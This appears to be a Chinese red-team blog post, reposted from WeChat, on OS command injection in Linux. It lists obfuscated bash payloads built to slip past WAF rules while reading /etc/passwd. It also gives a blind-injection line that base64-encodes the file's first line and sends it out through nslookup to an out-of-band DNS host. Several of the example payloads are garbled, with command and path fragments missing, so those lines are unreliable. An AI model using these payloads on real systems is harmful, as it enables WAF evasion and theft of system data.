cat /e*t*c/pa${777}s""s$()w''d|head -n 1|ba$()se""64
乍一看,你可能会觉得这个命令不会工作,但让我们看一个 Ubuntu bash 终端……
操作系统命令注入(OS Command Injection)是一种安全漏洞,攻击者可以在 Linux 或 Windows shell 中注入并执行命令。
命令注入分为两种类型:
1.基于响应的命令注入(Response-based)
2.盲命令注入(Blind)
本文将重点介绍 Linux 环境下这两种类型的 Payload。
绕过技术
下面这些字符可以与 Bash 命令和文件路径一起使用,而不会破坏语法:
cat /etc/passwd
/e*tc/pas**swd
ca$()t /etc/pas$()swd
说明:
·$() 是 Bash 中的命令替换(Command Substitution),它允许你在另一个命令中执行命令并用其输出进行替换。
·${} 是参数展开(Parameter Expansion)语法,用于访问和操作变量的值。
1. 基于响应的命令注入
这种类型的注入会在服务器的响应中显示你执行命令后的结果。
如果你直接注入以下 payload:
cat /etc/passwd
WAF(Web 应用防火墙)通常会基于路径检测此类恶意命令。
因此,我们可以用一些技巧来绕过 WAF。以下是一些可以根据实际情况修改的 payload 示例:
/etc/passwd | -n 1 | base64
tc | -n 1 | base64
/et*c/pas*wd | -n 1 | base64
/et**c/pas**d | -n 1 | base64
/etc/pawd | -n 1 | base64
/et$()c/pass$()wd | -n 1 | base$()64
这些都可以避开基本的文件路径规则检测。
2. 盲命令注入(Blind)
在这种类型中,你无法直接看到命令执行的结果。因此需要使用 OOB(Out-of-Band)服务器从目标内部服务器获取数据。
几种可选的 OOB 方法:
1.使用你自己的域名和 VPS 来运行 OOB 服务器;
2.使用公开的免费 OOB 服务器(https://app.interactsh.com/#/);
3.如果你有 Burp Pro,可以使用 Burp Collaborator 工具。
实战示例 Payload
设置好你的 OOB 子域名之后(例如:zwjzvr.oast.fun),你可以使用如下 payload:
GETID=$( cat /e*t*c/pa${777}s""s$()w''d|head -n 1|ba$()se""64) && nslookup $GETID.pwdonwmkcogysdovuvpwh79czkr6e14v7.oast.fun
这个 payload 会从 /etc/passwd 中提取第一行内容,使用 base64 编码后将其作为子域名部分通过 DNS 请求发送到你的 OOB 服务器。这种方法非常适合绕过 HTTP/HTTPS 层面的 WAF 规则。
原文始发于微信公众号(红队笔记录):黑客的 Bash 魔法:命令注入背后的秘密
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论